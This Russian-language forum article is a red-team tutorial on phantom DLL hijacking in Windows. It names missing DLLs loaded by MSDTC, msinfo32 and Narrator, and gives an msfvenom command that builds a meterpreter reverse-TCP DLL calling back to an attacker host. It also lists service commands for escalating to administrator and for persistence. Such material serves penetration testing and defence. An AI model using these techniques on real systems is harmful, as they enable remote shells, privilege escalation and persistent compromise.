DLL Hijacking
Life-Hack [Жизнь-Взлом]/ХакингКогда программа запускается, несколько DLL загружаются в область памяти ее процесса. Windows ищет библиотеки DLL, необходимые для процесса, просматривая системные папки в определенном порядке. Перехват порядка поиска может использоваться в сценариях «красных» для определения возможности повышения привилегий и сохранения.
Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.
MSDTC
The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32.
Код:
oci.dll SQLLib80.dll xa80.dll
Они определены в следующем разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

Ключ реестра - oci.dll
В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll

Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями:
net start msdtc

Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы.

Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс.

Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее.
msdtc -install

Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором.

Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе.
Код:
sc qc msdtc sc config msdtc start= auto

MSInfo
Адам написал в своем блоге в 2013 году о фантомном угоне DLL, который является техникой, основанной на загрузке произвольных библиотек DLL из процесса Windows, в которых отсутствуют определенные библиотеки DLL. Microsoft System Information Tool отвечает за сбор информации об оборудовании, программном обеспечении и компонентах системы. В современных версиях Windows, таких как 8.1 и 10, этот процесс пытается загрузить недостающую DLL из System32, которая называется «fveapi.dll». Установка в этот каталог вредоносной библиотеки DLL с таким же именем приведет к загрузке библиотеки DLL в процесс «msinfo32.exe».

Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».

Narrator
Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:
C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL

При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer.
